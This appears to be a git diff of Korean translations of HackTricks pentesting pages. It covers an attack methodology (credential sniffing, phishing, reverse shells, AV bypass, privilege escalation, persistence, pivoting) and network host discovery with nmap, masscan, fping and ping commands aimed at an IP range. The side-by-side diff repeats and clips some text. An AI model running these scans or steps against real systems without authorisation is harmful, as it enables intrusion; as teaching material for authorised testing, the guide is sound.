**수행 중인 테스트가 내부 또는 외부 테스트인지에 따라** **회사 네트워크 내 호스트를 찾는 것** (내부 테스트) 또는 **인터넷 상의 회사 자산을 찾는 것** (외부 테스트)에 관심이 있을 수 있습니다. **테스트**가 **내부 테스트**인지 **외부 테스트**인지에 따라 **회사 네트워크 내 호스트를 찾는 것**(내부 테스트) 또는 **인터넷에서 회사의 자산을 찾는 것**(외부 테스트)에 관심이 있을 수 있습니다.
{% hint style="info" %} {% hint style="info" %}
외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 액세스 권한을 획들하면이 가이드를 다시 시작해야합니다. 외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 접근하게 되면 이 가이드를 다시 시작해야 합니다.
{% endhint %} {% endhint %}
### **2-** [**네트워크에서 재미있는 시간 보내기**](pentesting-network/) **(내부)** ### **2-** [**네트워크와 함께 즐기기**](pentesting-network/) **(내부)**
**이 섹션은 내부 테스트를 수행하는 경우에만 해당됩니다.**\ **이 섹션은 내부 테스트를 수행하는 경우에만 적용됩니다.**\
호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** 네트워크 내에서 무엇을 찾을 수 있는지 **수동/능동적(MitM)**으로 알아보기 위해 **데이터를 스니핑**하는 것이 좋을 수 있습니다. [**Pentesting Network**](pentesting-network/#sniffing)를 읽어보세요. 호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** **데이터를 스니핑**하여 **수동/능동적으로(MitM)** 네트워크 내에서 무엇을 찾을 수 있는지 알아보는 것이 좋습니다. [**Pentesting Network**](pentesting-network/#sniffing)를 읽어보세요.
### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts) ### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts)
**호스트의 취약점을 찾을 때 가장 먼저 해야 할 일은** 어떤 **서비스가 어떤 포트에서 실행 중인지 알아내는 것**입니다. [**호스트의 포트를 스캔하는 데 사용되는 기본 도구**](pentesting-network/#scanning-hosts)를 살펴보겠습니다. **호스트에서 취약점을 찾을 때** 가장 먼저 해야 할 일은 어떤 **서비스가 어떤 포트에서 실행되고 있는지** 아는 것입니다. [**호스트의 포트를 스캔하는 기본 도구**](pentesting-network/#scanning-hosts)를 살펴보겠습니다.
### **4-** [서비스 버전 취약점 검색](search-exploits.md) ### **4-** [서비스 버전 익스플로잇 검색](search-exploits.md)
실행 중인 서비스와 그 버전을 알게 되면 **알려진 취약점을 검색**해야 합니다. 운이 좋다면 쉘을 제공하는 취약점이 있을 수도 있습니다... 어떤 서비스가 실행되고 있는지, 그리고 아마도 그 버전을 알게 되면 **알려진 취약점을 검색해야** 합니다. 운이 좋으면 쉘을 제공하는 익스플로잇이 있을 수 있습니다...
### **5-** 서비스 Pentesting ### **5-** Pentesting 서비스
실행 중인 서비스에 대한 멋진 취약점이 없는 경우, 각 서비스에서 **일반적인 구성 오류를 찾아야** 합니다. 실행 중인 서비스에 대한 멋진 익스플로잇이 없다면, 각 서비스에서 **일반적인 잘못된 구성**을 찾아야 합니다.
**이 책 안에는 가장 일반적인 서비스를 펜테스트하는 가이드가 있습니다** (그리고 일반적이지 않은 서비스도 있음)**. 왼쪽 목차에서** _**PENTESTING**_ **섹션을 찾아보세요** (서비스는 기본 포트에 따라 정렬됨). **이 책에서는 가장 일반적인 서비스에 대한 펜테스트 가이드를 찾을 수 있습니다** (그리고 그렇게 일반적이지 않은 서비스도 포함되어 있습니다). 왼쪽 인덱스에서 **_**PENTESTING**_ **섹션을 검색하세요** (서비스는 기본 포트에 따라 정렬되어 있습니다).
**특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 대해 언급하고 싶습니다.**\ **특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 특별히 언급하고 싶습니다 (가장 방대하기 때문입니다).**\
또한, 소프트웨어에서 [**알려진 취약점을 찾는 방법에 대한 작은 가이드**](search-exploits.md)도 여기에서 찾을 수 있습니다. 또한 [**소프트웨어에서 알려진 취약점을 찾는 방법**](search-exploits.md)에 대한 작은 가이드를 여기에서 찾을 수 있습니다.
**인덱스에 서비스가 없는 경우 Google에서** 다른 자습서를 찾아보고 **추가하길 원한다면 알려주세요.** Google에서 아무것도 찾을 수 없는 경우 **자체 블라인드 펜테스팅**을 수행하십시오. 서비스에 연결하여 **퍼징하고 응답을 읽는 것**으로 시작할 수 있습니다 (있는 경우). **목록에 서비스가 없다면, Google에서 다른 튜토리얼을 검색하세요** 그리고 **추가해 달라고 알려주세요.** Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트를 수행하세요**, 서비스에 **연결하고, 퍼징하고, 응답을 읽는 것**으로 시작할 수 있습니다 (있다면).
#### 5.1 자동 도구 #### 5.1 자동 도구
**자동 취약점 평가를 수행할 수 있는 여러 도구**도 있습니다. **이 책에서 찾을 수 있는 서비스 펜테스트에 관한 노트를 기반으로 한** [**Legion**](https://github.com/carlospolop/legion)**을 시도해보는 것을 권장합니다.** **자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 서비스에 대한 펜테스트 노트를 기반으로 합니다.**
#### **5.2 서비스 브루트 포싱** #### **5.2 서비스 브루트 포싱**
일부 시나리오에서 **브루트포스**가 **서비스를 침투하는 데 유용**할 수 있습니다. [**다양한 서비스 브루트포싱의 CheatSheet를 여기에서 찾을 수 있습니다**](brute-force.md)**.** 일부 시나리오에서**브루트 포스**가 **서비스를 타협하는 데 유용할 수 있습니다**. [**여기에서 다양한 서비스의 브루트 포싱 치트 시트를 찾으세요**](brute-force.md)**.**
### 6- [피싱](phishing-methodology/) ### 6- [피싱](phishing-methodology/)
이 시점에서 흥미로운 취약점을 찾지 못했다면 네트워크에 들어가기 위해 **피싱을 시도**해야 할 수도 있습니다. 제 피싱 방법론은 [여기](phishing-methodology/)에서 읽을 수 있습니다. 이 시점에서 흥미로운 취약점을 찾지 못했다면, **네트워크에 침투하기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/)에서 읽어보세요:
### **7-** [**쉘 획득**](shells/) ### **7-** [**쉘 얻기**](shells/)
떤 방법으로든 피해자에서 **코드를 실행할 수 있는 방법**을 찾았어야 합니다. 그런 다음, 피해자 시스템 내에서 **역쉘을 얻을 수 있는 가능한 도구 목록**이 매우 유용할 것입니다(shells/). 떻게든 **희생자에서 코드를 실행할 수 있는 방법을 찾아야 합니다**. 그러면 [역방향 쉘을 얻기 위해 시스템 내에서 사용할 수 있는 도구 목록이 매우 유용할 것입니다](shells/).
특히 Windows에서 **안티바이러스를 피하는 데 도움이 필요**할 수 있습니다: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\ 특히 Windows에서 **안티바이러스를 피하는 데 도움이 필요할 수 있습니다**: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\
### 8- 내부 ### 8- 내부
쉘에 문제가 있다면, 펜테스터에게 가장 유용한 명령어의 작은 **모음**을 여기에서 찾을 수 있습니다: 쉘에 문제가 있는 경우, 펜테스터에게 가장 유용한 명령어의 작은 **모음**을 여기에서 찾을 수 있습니다:
* [**Linux**](../linux-hardening/useful-linux-commands.md) * [**리눅스**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) * [**윈도우 (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) * [**윈도우 (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
### **9 -** [**유출**](exfiltration.md) ### **9 -** [**탈출**](exfiltration.md)
희생자로부터 **일부 데이터를 추출해야 하거나** 심지어 **무언가를 도입해야 할 수도 있습니다** (예: 권한 상승 스크립트). **여기에서 이러한 목적을 위해 사용할 수 있는** [**일반적인 도구에 대한 게시물을 찾을 수 있습니다**](exfiltration.md)**.**
피해자로부터 **일부 데이터를 추출**하거나 심지어 **특권 상승 스크립트와 같은 것을 도입**해야 할 수도 있습니다. **이 목적으로 사용할 수 있는 일반 도구에 대한 포스트**를 [**여기에서 확인하세요**](exfiltration.md)**.**
### **10- 권한 상승** ### **10- 권한 상승**
#### **10.1- 로컬 권한 상승** #### **10.1- 로컬 권한 상승**
만약 상자 안에서 **루트/Administrator가 아닌 경우** 권한을 **상승시키는 방법을 찾아야** 합니다.\ 박스 내에서 **root/Administrator가 아닌 경우**, **권한을 상승시키는 방법을 찾아야 합니다**.\
여기서 [**Linux**](../linux-hardening/privilege-escalation/) **및** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한 상승하는 가이드를 찾을 수 있습니다.**\ 여기에서 [**리눅스**](../linux-hardening/privilege-escalation/) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한을 상승시키는 가이드를 찾을 수 있습니다.**\
또한 **Windows 작동 방식에 대한** 이 페이지들을 확인해야 합니다: Windows가 어떻게 작동하는지에 대한 페이지도 확인해야 합니다:
* [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) * [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLM 작동 방식**](../windows-hardening/ntlm/) * [**NTLM 작동 방식**](../windows-hardening/ntlm/)
* Windows에서 [**자격 증명을 탈취하는 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) * Windows에서 [**자격 증명 훔치기**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 대한 몇 가지 속임수 * [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 대한 몇 가지
**Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최고의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) **Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최고의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- 도메인 권한 상승** #### **10.2- 도메인 권한 상승**
여기서 [**Active Directory에서 열거, 권한 상승 및 지속하는 가장 일반적인 작업을 설명하는 방법론을 찾을 수 있습니다**](../windows-hardening/active-directory-methodology/). 이것이 섹션의 하위 항목에 불과하더라도, 이 프로세스는 **펜테스팅/레드팀 과제에서 매우 민감**할 수 있습니다. 여기에서 [**Active Directory에서 권한을 열거하고 상승시키고 지속하는 가장 일반적인 작업을 설명하는 방법론**](../windows-hardening/active-directory-methodology/)을 찾을 수 있습니다. 이것은 섹션의 하위 섹션일 뿐이지만, 이 과정은 **펜테스팅/레드 팀 과제에서 매우 섬세할 수 있습니다**.
### 11 - POST ### 11 - POST
#### **11**.1 - Looting #### **11**.1 - 약탈
호스트 내에서 더 많은 **암호**를 찾을 수 있는지 또는 **사용자의 권한**으로 **다른 기기에 액세스**할 수 있는지 확인하세요.\ 호스트 내에서 더 많은 **비밀번호**를 찾거나 **사용자의 권한**으로 **다른 기계에 접근할 수 있는지 확인하세요**.\
여기서 [**Windows에서 암호 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) 찾을 수 있습니다. 여기에서 [**Windows에서 비밀번호를 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) 찾을 수 있습니다.
#### 11.2 - 지속성 #### 11.2 - 지속성
**시스템을 다시 공격할 필요가 없도록 2 또는 3 가지 다른 유형의 지속성 메커니즘을 사용하세요.**\ **시스템을 다시 공격할 필요가 없도록 2~3가지 다른 유형의 지속성 메커니즘을 사용하세요.**\
**여기서 [**Active Directory에서 지속성 속임수**](../windows-hardening/active-directory-methodology/#persistence)를 찾을 수 있습니다.** **여기에서** [**Active Directory의 지속성 팁**](../windows-hardening/active-directory-methodology/#persistence)**을 찾을 수 있습니다.**
TODO: Windows 및 Linux에서 지속성 포스트 완성 TODO: Windows 및 Linux에서 지속성 게시물 완성
### 12 - Pivoting ### 12 - 피벗팅
**수집된 자격 증명**으로 다른 기기에 액세스할 수도 있고, 혹은 피해자가 연결된 새 네트워크 내에서 새로운 호스트를 **발견하고 스캔해야 할 수도** 있습니다 (펜테스팅 방법론을 다시 시작).\ **수집한 자격 증명**으로 다른 기계에 접근할 수 있거나, 또는 **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (펜테스팅 방법론을 다시 시작하세요) 희생자가 연결된 새로운 네트워크 내에서.\
이 경우 터널링이 필요할 수 있습니다. 여기서 [**터널링에 대해 이야기하는 포스트**](tunneling-and-port-forwarding.md)를 찾을 수 있습니다.\ 이 경우 터널링이 필요할 수 있습니다. [**터널링에 대한 게시물**](tunneling-and-port-forwarding.md)을 여기에서 찾을 수 있습니다.\
반드시 [Active Directory 펜테스팅 방법론에 대한 포스트](../windows-hardening/active-directory-methodology/)도 확인해야 합니다. 거기에서는 측면 이동, 권한 상승 및 자격 증명 덤프하는 멋진 속임수를 찾을 수 있습니다.\ 또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/)에 대한 게시물을 확인해야 합니다. 거기에서 수평 이동, 권한 상승 및 자격 증명 덤프를 위한 멋진 팁을 찾을 수 있습니다.\
[**NTLM에 대한**](../windows-hardening/ntlm/) 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다. [**NTLM**](../windows-hardening/ntlm/)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
### 더 보 ### 더 많은 정
#### [Android 애플리케이션](../mobile-pentesting/android-app-pentesting/) #### [안드로이드 애플리케이션](../mobile-pentesting/android-app-pentesting/)
#### **Exploiting** #### **익스플로잇**
* [**기본 Linux Exploiting**](broken-reference) * [**기본 리눅스 익스플로잇**](broken-reference)
* [**기본 Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) * [**기본 윈도우 익스플로잇**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [**기본 exploiting 도구**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) * [**기본 익스플로잇 도구**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
#### [**기본 Python**](python/) #### [**기본 파이썬**](python/)
#### **암호 속임수** #### **암호화 팁**
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) * [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
@ -151,20 +153,21 @@ TODO: Windows 및 Linux에서 지속성 포스트 완성
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - 우리는 채용 중입니다!** (_구사할 수 있는 폴란드어 필수_). 해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# 네트워크 펜테스팅 # Pentesting Network
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요**.
</details> </details>
{% endhint %}
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼**인 **Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 **최대 $100,000**의 바운티를 획득하세요! **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## 외부에서 호스트 발견하기 ## Discovering hosts from the outside
것은 **인터넷에서 응답하는 IP를 찾는 방법**에 대한 **간단한 섹션**이 될 것입니다.\ 섹션은 **인터넷**에서 **응답하는 IP**를 찾는 방법에 대한 **간단한 설명**입니다.\
이 상황에서는 일부 **IP 범위** (아마도 여러 **범위**조차도)가 있고 **어떤 IP가 응답하는지 찾기만** 하면 됩니다. 이 상황에서는 몇 개의 **IP 범위**가 있으며, **어떤 IP가 응답하는지** 찾기만 하면 됩니다.
### ICMP ### ICMP
호스트가 켜져 있는지 여부를 확인하는 가장 **쉽고 빠른 방법**입니다.\ 이것은 호스트가 작동 중인지 여부를 확인하는 **가장 쉽고 빠른** 방법입니다.\
일부 **ICMP** 패킷을 보내 응답을 기대해볼 수 있습니다. 가장 쉬운 방법은 **에코 요청**을 보내고 응답을 기대하는 것입니다. 이를 위해 간단한 `ping` 또는 **범위**에 대해 `fping`을 사용할 수 있습니다.\ 일부 **ICMP** 패킷을 보내고 **응답을 기대**할 수 있습니다. 가장 쉬운 방법은 **에코 요청**을 보내고 응답을 기대하는 것입니다. 간단한 `ping`을 사용하거나 **범위**에 대해 `fping`을 사용할 수 있습니다.\
**nmap**을 사용하여 다른 유형의 ICMP 패킷을 보낼 수도 있습니다 (이렇게 하면 일반적인 ICMP 에코 요청-응답에 대한 필터링을 피할 수 있습니다). 또한 **nmap**을 사용하여 다른 유형의 ICMP 패킷을 보낼 수 있습니다(이는 일반적인 ICMP 에코 요청-응답 필터를 피하는 데 도움이 됩니다).
```bash ```bash
ping -c 1 199.66.11.4 # 1 echo request to a host ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges fping -g 199.66.11.0/24 # Send echo requests to ranges
@ -36,48 +37,50 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
``` ```
### TCP 포트 탐지 ### TCP 포트 탐지
모든 종류의 ICMP 패킷이 필터링되는 것이 매우 흔합니다. 그럼 호스트가 살아 있는지 확인하려면 **열린 포트를 찾아보는 것**이 전부입니다. 각 호스트는 **65535개의 포트**를 가지고 있으므로, "큰" 범위를 가지고 있다면 **각 호스트의 모든 포트**가 열려 있는지 여부를 테스트할 수 없습니다. 그렇게 하면 너무 많은 시간이 소요됩니다.\ 모든 종류의 ICMP 패킷이 필터링되는 경우가 매우 흔합니다. 그러면 호스트가 작동 중인지 확인하기 위해 할 수 있는 것은 **열려 있는 포트를 찾는 것**뿐입니다. 각 호스트는 **65535 포트**를 가지고 있으므로, "큰" 범위를 가지고 있다면 **각 호스트의 각 포트**가 열려 있는지 테스트할 수 없습니다. 그렇게 하면 너무 많은 시간이 소요됩니다.\
그러므로 필요한 것은 **빠른 포트 스캐너**([masscan](https://github.com/robertdavidgraham/masscan))와 **가장 많이 사용되는 포트 목록**입니다: 따라서 필요한 것은 **빠른 포트 스캐너** ([masscan](https://github.com/robertdavidgraham/masscan))와 **가장 많이 사용되는 포트 목록**입니다:
```bash ```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min) #Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
``` ```
### HTTP 포트 발견 You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up.
이것은 HTTP 서비스를 발견하고 싶을 때 유용한 TCP 포트 발견입니다. ### HTTP Port Discovery
이것은 **HTTP** **서비스**를 발견하는 데 **집중하고자 할 때** 유용한 TCP 포트 발견입니다:
```bash ```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24 masscan -p80,443,8000-8100,8443 199.66.11.0/24
``` ```
### UDP 포트 탐지 ### UDP 포트 탐지
또한 **UDP 포트가 열려 있는지 확인**하여 **호스트에 더 많은 주의**를 기울여야 하는지 결정할 수도 있습니다. UDP 서비스는 일반적인 빈 UDP 프로브 패킷에 **어떤 데이터도 응답하지 않기** 때문에 포트가 필터링되었는지 여부를 판단하기 어렵습니다. 이를 결정하는 가장 쉬운 방법은 실행 중인 서비스와 관련된 패킷을 보내는 것이며, 실행 중인 서비스를 알 수 없으므로 포트 번호를 기반으로 가장 가능성이 높은 서비스를 시도해야 합니다: 어떤 **호스트**에 **더 많은 주의**를 기울여야 할지 결정하기 위해 **UDP 포트가 열려 있는지** 확인해 볼 수 있습니다. UDP 서비스는 일반적으로 빈 UDP 프로브 패킷에 **어떠한 데이터**로도 **응답하지 않기** 때문에 포트가 필터링되고 있는지 열려 있는지 말하기 어렵습니다. 이를 결정하는 가장 쉬운 방법은 실행 중인 서비스와 관련된 패킷을 보내는 것이며, 어떤 서비스가 실행 중인지 모르기 때문에 포트 번호를 기반으로 가장 가능성이 높은 것을 시도해야 합니다:
```bash ```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet # The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable # The "--version-intensity 0" will make nmap only test the most probable
``` ```
이전에 제안된 nmap 라인은 **/24** 범위 내의 모든 호스트에서 **상위 1000개의 UDP 포트**를 테스트할 것이지만, 심지어 이것만으로도 **>20분**이 걸릴 것입니다. 더 빠른 결과가 필요하다면 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)를 사용할 수 있습니다: `./udp-proto-scanner.pl 199.66.11.53/24`는 이러한 **UDP 프로브**를 해당 **예상 포트**로 보낼 것입니다 (/24 범위에 대해서는 1분 정도 소요될 것입니다): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ 제안된 nmap 명령어는 **/24** 범위 내의 모든 호스트에서 **상위 1000 UDP 포트**를 테스트하지만, 이것만으로도 **>20분**이 걸립니다. **가장 빠른 결과**가 필요하다면 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)를 사용할 수 있습니다: `./udp-proto-scanner.pl 199.66.11.53/24` 명령어는 **예상 포트**에 이러한 **UDP 프로브**를 전송합니다 ( /24 범위의 경우 단 1분이 걸립니다): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP 포트 탐지 ### SCTP 포트 탐지
```bash ```bash
#Probably useless, but it's pretty fast, why not trying? #Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range> nmap -T4 -sY -n --open -Pn <IP/range>
``` ```
## 와이파이 펜테스팅 ## Pentesting Wifi
여기에서는 작성 시점에서 알려진 모든 Wifi 공격에 대한 좋은 가이드를 찾을 수 있습니다: 여기 작성 당시 잘 알려진 모든 Wifi 공격에 대한 멋진 가이드를 찾을 수 있습니다:
{% content-ref url="../pentesting-wifi/" %} {% content-ref url="../pentesting-wifi/" %}
[pentesting-wifi](../pentesting-wifi/) [pentesting-wifi](../pentesting-wifi/)
{% endcontent-ref %} {% endcontent-ref %}
## 내부에서 호스트 발견 ## 내부에서 호스트 발견하기
네트워크 내부에 있다면 **다른 호스트를 발견**하고 싶어할 것입니다. **얼마나 많은 노이즈**를 만들고 싶은지에 따라 다양한 작업을 수행할 수 있습니다: 네트워크 내부에 있다면 가장 먼저 하고 싶은 것 중 하나는 **다른 호스트를 발견하는 것**입니다. **얼마나 많은 소음**을 낼 수 있는지/내고 싶은지에 따라 다양한 작업을 수행할 수 있습니다:
### 수동 ### Passive
다음 도구를 사용하여 연결된 네트워크 내부의 호스트를 수동으로 발견할 수 있습니다: 연결된 네트워크 내에서 호스트를 수동적으로 발견하기 위해 이러한 도구를 사용할 수 있습니다:
```bash ```bash
netdiscover -p netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log p0f -i eth0 -p -o /tmp/p0f.log
@ -86,10 +89,10 @@ net.recon on/off #Read local ARP cache periodically
net.show net.show
set net.show.meta true #more info set net.show.meta true #more info
``` ```
### 활성 ### Active
[_**외부에서 호스트 발견하기**_](./#discovering-hosts-from-the-outside)에 주석 처리된 기술들을 참고하세요. (_TCP/HTTP/UDP/SCTP 포트 발견_)\ Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\
